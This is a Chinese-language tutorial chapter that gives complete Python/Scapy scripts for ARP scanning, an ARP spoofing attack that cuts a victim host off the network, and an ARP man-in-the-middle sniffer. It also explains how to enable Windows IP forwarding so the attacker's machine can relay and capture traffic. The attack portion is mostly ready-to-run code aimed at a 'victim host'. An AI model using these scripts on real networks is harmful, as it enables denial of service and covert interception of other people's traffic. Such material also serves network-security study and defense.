21.6 Python 构建ARP中间人数据包
ARP中间人攻击(ARP spoofing)是一种利用本地网络的ARP协议漏洞进行欺骗的攻击方式,攻击者会向目标主机发送虚假ARP响应包,使得目标主机的ARP缓存中的IP地址和MAC地址映射关系被篡改,从而使得目标主机将网络流量发送到攻击者指定的虚假MAC地址。攻击者可以在不被发现的情况下窃取目标主机的网络流量、信息等,也可以进行其他的恶意行为,如中间人攻击、监听等。
首先我们来实现一个简单的ARP扫描功能,要实现ARP探测功能很容易,如下代码中我们分别封装实现两个函数,函数Parse_IP用于传入一个IP地址字符串自动生成该网段内的所有主机数,函数ARP_Scan则用于发送ARP数据包,在构造时直接使用ARP函数即可,构造后通过sr1将其发送出去并等待返回结果。
from scapy.all import *
import argparse
import threading,time
import logging
# 生成网段信息,例如输入: 192.168.1.1/20 生成1-20地址
def Parse_IP(targets):
_split = targets.split('/')
first_ip = _split[0]
ip_split = first_ip.split('.')
ipv4 = range(int(ip_split[3]),int(_split[1])+1)
addr = [ ip_split[0]+'.'+ip_split[1]+'.'+ip_split[2]+'.'+str(p) for p in ipv4 ]
return addr
# 通过ARP协议扫描局域网中在线的设备
def ARP_Scan(address):
try:
ret = sr1(ARP(pdst=address),timeout=5,verbose=False)
if ret:
if ret.haslayer('ARP') and ret.fields['op'] == 2:
print('[+] IP地址: %-13s ==> MAC地址: %-15s' %(ret.fields['psrc'],ret.fields['hwsrc']))
except Exception:
exit(1)
if __name__ == "__main__":
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
parser = argparse.ArgumentParser()
parser.add_argument("-s","--scan",dest="scan",help="输入一个扫描网段")
args = parser.parse_args()
# 使用方式: main.py -s 192.168.1.1/100
if args.scan:
addr_list = Parse_IP(args.scan)
for item in addr_list:
threads = []
t = threading.Thread(target=ARP_Scan,args=(item,))
threads.append(t)
t.start()
for item in threads:
item.join()
else:
parser.print_help()
上述代码通过指定-s并传入一个地址网段192.168.9.0/24则自动计算该网段主机数,并依次对主机进行存活检测,输出效果图如下所示;

当我们能够得到内网中特定主机的IP地址以及MAC地址后,则下一步就可以使用ARP断网攻击了,该攻击原理是攻击者在目标网络中发送虚假的ARP响应包,使得目标设备误认为网关的MAC地址已经更改为攻击者的MAC地址,导致目标设备无法正常访问外部网络,从而达到网络断网的目的。
读者在使用ARP断网之前还是需要通过ipconfig /all命令确定当前网卡的网卡名称,如下图所示网卡描述则是我们需要的东西;

接着来看一下如何实现ARP断网攻击的,断网攻击的核心在于SendPayLoad函数,该函数每次调用都将发送两个数据包,第一个数据包用于伪造网关欺骗目标计算机我是网关,第二个数据包用于伪造被欺骗计算机,用于向网关表明身份,有了这两个数据包并配合多线程发包则此时被攻击主机将会出现网络无法连接的情况。
from scapy.all import *
import argparse
import threading,time
import logging
# 创建并发送有效载荷
def SendPayload(Interface,srcMac,tgtMac,gateWayMac,gatewayIP,tgtIP):
print("[+] 目标MAC: {} 目标IP: {} 发送: 2 packets".format(tgtMac,tgtIP))
# 生成ARP数据包,伪造网关欺骗目标计算机
sendp(Ether(src=srcMac,dst=tgtMac)/ARP(hwsrc=srcMac,psrc=gatewayIP,hwdst=tgtMac,pdst=tgtIP,op=2),iface=Interface)
# 生成ARP数据包,伪造目标计算机欺骗网关
sendp(Ether(src=srcMac,dst=gatewayMac)/ARP(hwsrc=srcMac,psrc=tgtIP,hwdst=gatewayMac,pdst=gatewayIP,op=2),iface=Interface)
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("-i","--interface",dest="interface",help="输入接口名")
parser.add_argument("-g","--gateway",dest="gateway",help="输入网关地址")
parser.add_argument("-t","--target",dest="target",help="输入被害主机地址")
args = parser.parse_args()
# 使用方式: main.py -i "Intel(R) Ethernet Connection (7) I219-LM" -g 192.168.9.1 -t 192.168.9.10
if args.gateway and args.target:
srcMac = get_if_hwaddr(args.interface) # 通过接口名称获取本机MAC地址
tgtMac = getmacbyip(args.target) # 通过IP地址获取目标计算机的MAC地址
gatewayMac = getmacbyip(args.gateway) # 指定本机网段的网关MAC地址
while True:
t = threading.Thread(target=SendPayload,args=(args.interface,srcMac,tgtMac,gatewayMac,args.gateway,args.target))
t.start()
t.join()
time.sleep(1)
else:
parser.print_help()
读者在调用时需要传入三个参数,首先通过-i传入网卡名称,接着通过-g指定当前网段内网关名称,使用-t用于指定被害主机地址,运行后如下图所示;

有了ARP断网接着就来实现ARP嗅探功能,针对断网攻击对于攻击者来说其实无法得到更多有用的数据,我们还是希望能够监控目标主机的数据包,并通过分析数据包得知一些特殊操作,为了实现这个功能,就需要改进断网程序让其具备嗅探的功能,要实现嗅探而不是断网则需要进行两步配置,首先需要开启注册表转发功能,此处可以输入命令regedit打开注册表编辑器,并在其中定位到:
- HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/Tcpip/Parameters
选择下面的项目IPEnableRouter:REG_DWORD:0x0 找到项目鼠标右键修改数值为1至此即可开启主机的IP数据路由功能。

接着读者还需要打开系统服务菜单,并找到Routing And RemoteAccess数据包转发服务,此处如果没有打开请自行将其开启,当开启后我们的主机将会具备路由转发功能,这样即可实现模拟路由器的效果。

嗅探的原理很简单,如下是一个完整的数据包嗅探工具,其中createArp2Station函数用于生成伪造网关的数据包用于欺骗客户端,createArp2Gateway函数则用于伪造目标主机数据包并欺骗网关,当有了这两个函数,再配合sniff抓包即可实现数据包的捕获,如果读者需要自行分析数据包来往则可以自定义Packet_CallBack回调函数实现。
import sys,os,threading
import argparse
from scapy.all import *
# 生成ARP数据包,伪造网关欺骗目标计算机
def createArp2Station(interface,target_ip,gateway_ip):
dst_Mac=str(getmacbyip(target_ip))
self_Mac=str(get_if_hwaddr(interface))
Ether_data=Ether(src=self_Mac,dst=dst_Mac) / ARP(op=2,hwsrc=self_Mac,psrc=gateway_ip,hwdst=dst_Mac,pdst=target_ip)
try:
sendp(Ether_data,inter=2,iface=interface,loop=1)
except Exception as e:
print("目标ARP数据发送失败!")
# 生成ARP数据包,伪造目标计算机欺骗网关
def createArp2Gateway(interface,target_ip,gateway_ip):
dst_Mac = getmacbyip(gateway_ip)
self_Mac = get_if_hwaddr(interface)
Ether_data = None
Ether_data = Ether(src=self_Mac, dst=dst_Mac) / ARP(op=2, hwsrc=self_Mac, psrc=target_ip, hwdst=dst_Mac, pdst=gateway_ip)
try:
sendp(Ether_data, inter=2,iface=interface,loop=1)
except Exception as e:
print("网关ARP数据发送失败!")
def Packet_CallBack(pkt):
if pkt.haslayer(IP):
if pkt.getlayer(IP).src != "127.0.0.1":
ip_src = pkt.getlayer(IP).src
ip_dst = pkt.getlayer(IP).dst
print("源地址: {} ---> 目标地址: {}".format(ip_src,ip_dst))
if __name__ == "__main__":
# 使用方式: main.py -i "Intel(R) Ethernet Connection (7) I219-LM" -g 192.168.9.1 -t 192.168.9.10
parser = argparse.ArgumentParser()
parser.add_argument("-i","--interface",dest="interface",help="输入网卡名称")
parser.add_argument("-t","--target_ip",dest="target_ip",help="输入目标主机IP")
parser.add_argument("-g","--gateway",dest="gateway",help="输入网关地址")
args = parser.parse_args()
if args.interface and args.target_ip and args.gateway:
try:
t1=threading.Thread(target=createArp2Station,args=(args.interface,args.target_ip,args.gateway))
t1.setDaemon(True)
t1.start()
t2=threading.Thread(target=createArp2Gateway,args=(args.interface,args.target_ip,args.gateway))
t2.setDaemon(True)
t2.start()
sniff(prn=Packet_CallBack,filter="tcp",iface=args.interface)
except Exception:
sys.exit(1)
while True:
pass
else:
parser.print_help()
读者可自行运行上述程序,并通过-i属性指定网卡名,通过-g属性指定网关地址,通过-t指定为被害主机地址,运行后读者即可看到被害主机的数据包流向信息,如下图所示;

此时被害主机的所有数据包都会经过我们的主机,读者可打开WireShark并启动抓包,此时输入输入不同的过滤语句,即可指定需要查看的数据包类型,此时我们就是实现了对特定主机的监控,当然这种监控数据包会掺杂我们自己的主机发出的,读者可自行编写过滤规则实现过滤;

21.6 Python 构建ARP中间人数据包的更多相关文章
- 从零开始学安全(四十二)●利用Wireshark分析ARP协议数据包
wireshark:是一个网络封包分析软件.网络封包分析软件的功能是撷取网络封包,并尽可能显示出最为详细的网络封包资料.Wireshark使用WinPCAP作为接口,直接与网卡进行数据报文交换,是目前 ...
- ETHERNET数据包格式( IP & UDP & ICMP & ARP )
ETHERNET数据包格式( IP & UDP & ICMP & ARP ) ETHERNET数据包格式 一.ETHERNET 数据包的协议类型 TYPE 的值为 0x0800 ...
- 承载于以太网帧之上的数据包的解析——ARP、IPv4、IPv6
承接上一博文而来,继续解析网络数据包,对于承载在以太网上的三种协议进行了解析,主要是分为依据RFC定义的标准先解析头部数据,然后得到有效载荷,即为协议包括的实体数据,更上层进行进一步处理. 一.ARP ...
- ARP数据包分析
转载请注明来源:https://www.cnblogs.com/hookjc/ 本机IP:192.168.0.1 (c0 a8 00 01)本机MAC:00-50-56-c0-00-01目标IP:19 ...
- 010 使用netmap API接管网卡,接收数据包,回应ARP请求
一.本文目的: 上一节中,我们已经在CentOS 6.7 上安装好了netmap,也能接收和发送包了,这节我们来调用netmap中的API,接管网卡,对网卡上收到的数据包做分析,并回应ARP请求. 二 ...
- 用Python构造ARP请求、扫描、欺骗
目录 0. ARP介绍 1. Scapy简述 2. Scapy简单演示 2.1 安装 2.2 构造包演示 2.2.1 进入kamene交互界面 2.2.2 查看以太网头部 2.2.3 查看 ICMP ...
- [置顶] NS2中对TCP数据包和ACK包的TCP Sink类的主要实现代码详尽剖析--吐血放送
NS2中对TCP数据包和ACK包的TCP Sink类的主要实现代码详尽剖析,限于个人水平,如有错误请留言指出! TcpSink类的recv()方法: void TcpSink::recv(Packet ...
- Linux 中的网络数据包捕获
Linux 中的网络数据包捕获 Ashish Chaurasia, 工程师 简介: 本教程介绍了捕获和操纵数据包的不同机制.安全应用程序,如 VPN.防火墙和嗅探器,以及网络应用程序,如路由程序,都依 ...
- python 脚本开发实战-当当亚马逊图书采集器转淘宝数据包
开发环境python2.7.9 os:win-xp exe打包工具pyinstaller 界面tkinter ============================================= ...
- ARP数据包伪造
一台网络中的计算机,其传递到网络中的数据包的内容是完全由其软硬件逻辑决定的,软件可以操控硬件,硬件亦是一种特殊的软件,所以,接收者只根据数据包的内容,绝不可能判定此数据包的真正来源,一切都是可以伪 ...
随机推荐
- 工程开发 | CMake工程目录结构和多线程
CMake工程目录结构 lib: 生成的库文件 src: 源文件(.cpp .cc) include: 头文件(.h .hpp) build: 一般在这个文件夹下执行cmake ..(..之前有一个空 ...
- 服务降级,限流等--sentinel(SpringCloud Alibaba)
一. 介绍Sentinel,中文翻译为哨兵,是为微服务提供流量控制.熔断降级的功能,它和Hystrix提供的功能一样,可以有效的解决微服务调用产生的"雪崩"效应,为微服务系统提供了 ...
- 负载均衡--rpc服务端
1. dubbo负载均衡的作用? 其出发点,自然也就是普通的负载均衡器的出发点了. 将负载均衡功能实现在rpc客户端侧,以便能够随时适应外部的环境变化,更好地发挥硬件作用. 而且客户端的负载均衡天然地 ...
- jdk(jvm)调式工具
JConsole 可视化工具介绍一. JConsole介绍1.1 JConsole描述Jconsole (Java Monitoring and Management Console),一种基于JMX ...
- vue+spingboot 实现服务器端文件下载功能
vue3 和springboot配合如何实现服务器端文件的下载. 先看springboot的后台代码: @PostMapping("/download") @ResponseBod ...
- docker构建java镜像,运行镜像出现 no main manifest attribute, in /xxx.jar
背景 本文主要是一个随笔,记录一下出现"no main manifest attribute"的解决办法 问题原因 主要是近期在构建一个镜像,在镜像构建成功后,运行一直提示&quo ...
- 图解 HTTP 缓存
HTTP 的缓存机制,可以说这是前端工程师需要掌握的重要知识点之一.本文将针对 HTTP 缓存整体的流程做一个详细的讲解,争取做到大家读完整篇文章后,对缓存有一个整体的了解. HTTP 缓存分为 2 ...
- Java 21新特性-虚拟线程 审核中
本文翻译自国外论坛 medium,原文地址:https://medium.com/@benweidig/looking-at-java-21-virtual-threads-0ddda4ac1be1 ...
- maven开源仓库
在公司开发一般都用公司内部的maven仓库,但回家之后,就访问不了公司的网络,使用不了公司的maven仓库,只能使用开源的maven仓库. 在网上搜索和整理了几个比较好用的maven开源镜像仓库,记录 ...
- [转帖]max_allowed_packet 与 SQL 长度的关系
https://www.oceanbase.com/knowledge-base/oceanbase-database-1000000000210013 适用版本:V2.1.x.V2.2.x.V3.1 ...